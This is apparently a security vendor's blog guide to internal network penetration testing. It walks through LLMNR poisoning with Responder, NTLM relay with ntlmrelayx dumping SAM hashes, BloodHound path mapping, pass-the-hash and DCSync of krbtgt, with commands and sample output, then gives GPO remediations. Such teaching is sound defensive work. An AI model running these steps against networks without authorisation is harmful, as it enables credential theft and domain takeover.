Strobesstrobes
Platform
Solutions
Resources
Customers
Company
Pricing
Book a Demo
Strobesstrobes

Strobes connects every exposure signal to autonomous action, so security teams fix what matters, prove what works, and stop chasing noise.

Book a DemoTalk to an expert
ISO 27001SOC 2CREST
  • Platform
  • Platform Overview
  • Agentic Exposure Management
  • AI Agents
  • Integrations
  • API & Developers
  • Workflows & Automation
  • Analytics & Reporting
  • Solutions
  • Exposure Assessment (EAP)
  • Attack Surface Management
  • Application Security Posture
  • Risk-Based Vulnerability Management
  • Adversarial Exposure Validation (AEV)
  • AI Pentesting
  • Pentesting as a Service
  • CTEM Framework
  • By Industry
  • Financial Institutions
  • Technology
  • Retail
  • Healthcare
  • Manufacturing
  • By Roles
  • CISOs
  • Security Directors
  • Cloud Security Leaders
  • App Sec Leaders
  • Resources
  • Quick Agentic Pentest
  • Blog
  • Customer Stories
  • eBooks
  • Datasheets
  • Videos & Demos
  • Exposure Management Academy
  • CTEM Maturity Assessment
  • Pentest Health Check
  • Security Tool ROI Calculator
  • Company
  • About Strobes
  • Meet the Team
  • Trust & Security
  • Contact Us
  • Careers
  • Become a Partner
  • Technology Partner
  • Partner Deal Registration
  • Press Release

Weekly insight for security leaders

CTEM research, agentic AI trends, and what's actually moving the needle.

© 2026 Strobes Security Inc. All rights reserved.

Privacy PolicyTerms of ServiceCookie PolicyAccessibilitySitemap
Back to Blog
Internal Network Penetration Testing Guide
Network PentestingPenetration Testing

Internal Network Penetration Testing Guide

Shubham JhaSeptember 7, 20257 min read

Table of Contents

  • What is internal network penetration testing?
  • How do you discover and enumerate internal hosts?
  • What attacks give you that first set of credentials?
  • BloodHound turns a permissions maze into a straight line
  • What does the full internal attack chain look like?
  • What do vulnerability scanners miss internally?
  • How do you fix what an internal pentest finds?
  • Frequently asked questions
  • Sources and references

Authors

S
Shubham Jha

Share

Table of Contents

  • What is internal network penetration testing?
  • How do you discover and enumerate internal hosts?
  • What attacks give you that first set of credentials?
  • BloodHound turns a permissions maze into a straight line
  • What does the full internal attack chain look like?
  • What do vulnerability scanners miss internally?
  • How do you fix what an internal pentest finds?
  • Frequently asked questions
  • Sources and references

Authors

S
Shubham Jha

Share

TL;DR
  • ✓Internal network penetration testing assumes the perimeter has failed and measures blast radius: how far a phished employee or rogue device can move and escalate.
  • ✓The most reliable foothold in 2026 is still LLMNR/NBT-NS poisoning with Responder, then NTLM relay to any host where SMB signing is not required.
  • ✓ntlmrelayx can dump the SAM or drop an interactive shell on a relayed host without ever cracking a hash.
  • ✓BloodHound turns a permissions maze into a literal shortest path from your foothold to Domain Admin, exposing ACL and delegation chains no manual review finds.
  • ✓Almost no step needs a CVE: disabling LLMNR/NBT-NS by GPO, requiring SMB signing, deploying LAPS, and tiering admin credentials breaks the standard chain.

Here is the part that makes CISOs uncomfortable. On a recent assessment of a mid-size manufacturer, we plugged into a conference-room network jack, started Responder, and three hours later held the krbtgt hash, complete control of the domain, without firing a single exploit. Every link in that chain was a default someone forgot to change. That is what an internal network penetration test measures: not whether someone can get in, but how bad it gets once they do.

This guide walks the methodology a tester actually runs, with the real tool output at each step so you can reproduce the work or read a report and understand exactly what happened. We name the commands, point to the telltale line in each output, then close with a findings table and the GPO-level fixes that collapse the whole attack path. For wider context, start with our network penetration testing overview.

Table of contents
  1. What is internal network penetration testing?
  2. How do you discover and enumerate internal hosts?
  3. What attacks give you that first set of credentials?
  4. BloodHound turns a permissions maze into a straight line
  5. What does the full internal attack chain look like?
  6. What do vulnerability scanners miss internally?
  7. How do you fix what an internal pentest finds?

What is internal network penetration testing?

Internal network penetration testing is an authorized attack launched from inside your network, modeling a malicious insider or an attacker who already breached the perimeter. The external test answers "can someone get in?" The internal test answers the scarier question: once they are in, how far does it go?

The two are complementary. An external network penetration test probes your internet-facing edge; the internal test assumes that edge is bypassed and measures blast radius across Active Directory, file shares, internal apps, and the segmentation (or lack of it) between user, server, and management VLANs.

Most internal tests run in an assumed-breach posture: the client hands over a standard domain user account so budget goes toward finding real escalation paths instead of re-running a phishing campaign everyone already knows works. That single account is usually all an attacker needs.

Internal network pentest methodology
1
Discovery
Sweep subnets with masscan and nmap; find DCs, SMB, and signing status.
2
Enumeration
Null sessions, SNMP communities, shares, users, and password policy.
3
Credential access
LLMNR/NBT-NS poisoning with Responder; crack or relay the hashes.
4
Lateral movement
Map paths in BloodHound, pass-the-hash with NetExec and impacket.
5
Privilege escalation
Kerberoast, abuse ACLs and delegation, dump LSASS, reach a DC.

How do you discover and enumerate internal hosts?

Start with host discovery and service enumeration, because you cannot attack what you cannot see. masscan sweeps a /16 for live hosts in seconds, then nmap fingerprints what answers. For Active Directory, port 88 (Kerberos), 389/636 (LDAP), and 445 (SMB) are your map.

Sweep SMB with NetExec (the maintained successor to CrackMapExec). The single most valuable column is signing status, because every host without signing required is a relay target later.

$ nxc smb 10.0.5.0/24 --gen-relay-list targets.txt
SMB  10.0.5.21  445  FILE01  [*] Windows Server 2019  signing:False  <- relay target
SMB  10.0.5.10  445  DC01    [*] Windows Server 2022  signing:True   (DC, signed)
SMB  10.0.5.34  445  APP02   [*] Windows Server 2019  signing:False  <- relay target
[*] wrote 2 hosts to targets.txt

That signing:False line is the whole ballgame; those two hosts go in your relay list. While scans run, harvest cheap context: null sessions for the password policy (enum4linux-ng -A, so you know the lockout threshold before you spray), default SNMP communities (snmpwalk -v2c -c public), and IPv6, which most networks ignore, where mitm6 abuses Windows preferring IPv6 DNS to prime a relay.

What attacks give you that first set of credentials?

The fastest path to your first credentials is name-resolution poisoning. When a host asks for a name DNS cannot resolve, Windows falls back to LLMNR and NBT-NS broadcasts, and Responder answers "that is me," capturing the NetNTLMv2 hash the victim sends.

$ responder -I eth0 -wd
[*] Listening for events...
[SMB] NTLMv2-SSP Client   : 10.0.5.61
[SMB] NTLMv2-SSP Username : CORP\j.reyes
[SMB] NTLMv2-SSP Hash     : j.reyes::CORP:1122334455667788:A1B2...:0101000000000000  <- crackable hash captured

That hash cracks offline with hashcat (-m 5600), but relaying is better because it skips cracking entirely. Turn off Responder's SMB and HTTP servers, then relay the live authentication to your unsigned-host list. The --dump flag pulls the SAM straight off the relayed target.

$ ntlmrelayx.py -tf targets.txt -smb2support --dump
[*] Authenticating against smb://10.0.5.21 as CORP/J.REYES SUCCEED
[*] Target system bootKey: 0x9a1f...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  <- local admin NT hash, no cracking needed

Swap --dump for -i to get an interactive SMB client or -c to run a command. Pair Responder with mitm6 to widen the victim pool. Also check AS-REP roasting (GetNPUsers.py ... -no-pass), which needs no credentials at all, and Group Policy Preferences cpassword in SYSVOL (gpp-decrypt).

Strobes insight
LLMNR/NBT-NS poisoning plus NTLM relay to a host without SMB signing is still the single most reliable way onto an internal Windows network. Disabling LLMNR and enforcing signing closes it for almost nothing.

BloodHound turns a permissions maze into a straight line

Lateral movement is about turning one credential into many, and the planning starts with BloodHound. Run the collector to snapshot every user, group, session, and ACL, then ask for the shortest path from your owned account to Domain Admins. The output is not a vibe, it is a literal edge list.

$ bloodhound-python -d corp.local -u j.reyes -p <cracked> -c All -ns 10.0.5.10
# Shortest path to DA, as the graph renders it:
J.REYES@CORP.LOCAL
  --MemberOf-->        HELPDESK@CORP.LOCAL
  --GenericWrite-->    SVC_BACKUP@CORP.LOCAL      <- you can set this account's SPN
  --MemberOf-->        BACKUP_ADMINS@CORP.LOCAL
  --GetChangesAll-->   CORP.LOCAL (domain)        <- DCSync rights = game over

That graph says the quiet part loudly: your help-desk user has GenericWrite over a service account that ultimately holds DCSync rights. With the path in hand, NetExec does the moving via pass-the-hash and impacket gives remote execution (wmiexec.py, psexec.py). Spraying a recovered local-admin hash across the subnet usually lights up the classic flat-fleet problem where one password was reused everywhere. On each new box, dump fresh credentials with secretsdump.py and repeat. The Active Directory specific abuse (Kerberoasting, delegation, ADCS) gets its own playbook in our Active Directory penetration testing checklist.

What does the full internal attack chain look like?

The pieces connect into one repeatable chain from network jack to Domain Admin, usually inside a day. The manufacturer engagement from the intro ran exactly this sequence in under three hours.

  1. Poison: Responder answers an LLMNR broadcast and captures j.reyes' NetNTLMv2 hash from a help-desk workstation.
  2. Relay: with Responder's SMB off, ntlmrelayx relays that auth to an unsigned file server and dumps the local SAM.
  3. Reuse: the local admin hash is reused fleet-wide, so pass-the-hash opens dozens of hosts.
  4. Map: BloodHound shows the cached help-desk user has GenericWrite over a service account with DCSync rights.
  5. Dominate: abuse the ACL to gain replication rights, then secretsdump.py -just-dc-user krbtgt DCSyncs the domain.

Not one step used a CVE. Every link was a default or a reused password, which is what makes internal testing so productive and so uncomfortable to read in a report. The most common tester mistake here is spraying passwords before reading the lockout policy and freezing half the domain on day one, so always pull the policy first.

Internal pentest findings excerpt
FindingSeverity (CVSS)EvidenceRemediation
NTLM relay via missing SMB signingCritical (9.0)ntlmrelayx dumped local SAM from FILE01 (signing:False)Enforce SMB signing (always) via GPO
LLMNR/NBT-NS poisoningHigh (8.1)Responder captured CORP\j.reyes NetNTLMv2 hashDisable multicast name resolution + NetBIOS via GPO
Local admin password reused fleet-wideHigh (8.0)Pass-the-hash opened 28 hosts with one NT hashDeploy LAPS for unique per-host passwords
ACL path to DCSync (GenericWrite)Critical (9.1)BloodHound: HELPDESK -> SVC_BACKUP -> GetChangesAllPrune GenericWrite; tier admin accounts
AS-REP roastable privileged accountMedium (6.5)GetNPUsers returned a crackable hash with no credsEnable Kerberos pre-authentication

What do vulnerability scanners miss internally?

Scanners miss almost the entire identity attack surface, which is exactly where internal compromises live. A Nessus or Qualys scan flags missing patches and weak TLS, but it never walks the BloodHound graph, so it will not tell you a help-desk group has WriteDACL over a Tier 0 account or that an ESC1 certificate template lets any user mint a Domain Admin cert.

The mistakes that let attackers win are equally invisible to a scanner: local admin password reuse, service accounts running as Domain Admin with a 2014 password, kerberoastable SPNs on privileged accounts, and unconstrained delegation on a print server. These are configuration and relationship problems, not vulnerabilities with a CVSS score, so they need a human (or an attack-path engine) chaining behaviors rather than checking versions. This is the gap continuous attack-path testing covers, re-walking these chains as the directory drifts instead of once a year, the same logic in our enterprise network misconfigurations guide.

How do you fix what an internal pentest finds?

The findings cluster into a short, fixable list, and fixing the top four kills most attack paths. Disable LLMNR and NBT-NS by Group Policy so Responder has nothing to answer, and enforce SMB signing everywhere to break NTLM relay.

# GPO: Computer Config > Admin Templates > Network > DNS Client
Turn off multicast name resolution = Enabled    # kills LLMNR
# GPO: registry, kills NBT-NS
HKLM\...\NetBT\Parameters\NetbiosOptions = 2
# GPO: Microsoft network server: Digitally sign communications (always) = Enabled  # SMB signing

Then deploy LAPS so a single dumped local hash does not open the fleet, and move service accounts to group Managed Service Accounts (gMSA) so passwords rotate automatically and resist Kerberoasting. Prune the GenericWrite, DCSync, and unconstrained-delegation rights BloodHound flagged, adopt a tiering model that keeps Tier 0 credentials off workstations, harden ADCS templates that allow SAN supply, and rotate krbtgt twice. Defenders should read our guide on securing against Active Directory attacks. Because these misconfigurations creep back with every new GPO and group change, point-in-time testing leaves gaps; agentic pentesting is the continuous way to keep checking these paths as your environment drifts.

Frequently asked questions

What is the difference between internal and external network penetration testing?
External testing attacks your internet-facing assets to see if someone can get in. Internal testing starts from inside the network, assuming the perimeter is already breached, and measures how far an attacker can move and escalate. Most organizations need both, because they answer different questions.
How long does an internal network penetration test take?
A typical internal engagement runs one to three weeks depending on the size of the environment and the number of subnets and domains in scope. Larger enterprises with multiple forests can take longer, and an assumed-breach scope is usually faster because it skips the initial-access phase.
What tools are used for internal network penetration testing?
Common tools include nmap and masscan for discovery, Responder for poisoning, impacket and NetExec for relay and lateral movement, BloodHound and SharpHound for attack-path mapping, and mimikatz for credential dumping. hashcat handles offline cracking when relaying is not an option.
What is an assumed breach internal pentest?
In an assumed-breach test the client gives the tester a low-privilege foothold up front, such as a standard domain user account or a network drop. This skips the initial-access phase so the engagement focuses on escalation and lateral movement, which is where most real damage happens and where budget is best spent.
How do you stop LLMNR poisoning and NTLM relay?
Disable LLMNR and NBT-NS through Group Policy across all hosts (Turn off multicast name resolution = Enabled, and set NetbiosOptions = 2), and enforce SMB signing always so captured authentication cannot be relayed. These two changes break the most common internal credential-access chain with minimal operational impact.
Can ntlmrelayx really compromise a host without cracking anything?
Yes. When a target does not require SMB signing, ntlmrelayx forwards the live authentication it receives straight to that host, so it never needs the plaintext password. With --dump it pulls the local SAM, with -i it opens an interactive SMB client, and with -c it runs a command, all using the relayed session directly.

Sources and references

  • MITRE ATT&CK: Lateral Movement
  • NIST SP 800-115 Technical Guide to Security Testing
  • BloodHound Documentation
S
Shubham Jha
Security Researcher, Strobes
Shubham Jha leads offensive security research at Strobes, focused on web and API exploitation and red team tradecraft.
Tags
Network PentestingActive DirectoryOffensive Security

Stop chasing vulnerabilities Start reducing exposure

See how Strobes AI agents validate and fix your most critical exposures automatically.

Book a Demo
Continue Reading

Related Posts

How to pentest single-page applications - React, Angular and Vue SPA security testing guide
Penetration TestingApplication Security

How to Pentest Single-Page Applications (React, Angular, Vue)

Learn how to pentest React, Angular, and Vue SPAs. Covers DOM XSS, client-side routing bypass, JS bundle secrets, and why traditional DAST scanners fail.

Jun 4, 202623 min
Bug bounty vs pentesting vs AI pentesting comparison featured image
Penetration TestingApplication Security

Bug Bounty vs. Pentesting vs. AI Pentesting: Which Model Fits Your AppSec Program?

Bug bounty vs pentesting vs AI pentesting: compare costs, coverage, compliance, and when to use each model. Build a layered AppSec testing strategy.

Jun 4, 202621 min
Pentesting in-house vs outsourcing comparison: cost, coverage, and the third option, AI pentesting
Penetration TestingPTaaS

Pentesting In-House vs. Outsourcing: Cost, Coverage, and the Third Option

Compare in-house vs outsourced pentesting on cost, coverage, and depth. Discover why AI pentesting is the third option that changes the math for security teams.

Jun 4, 202621 min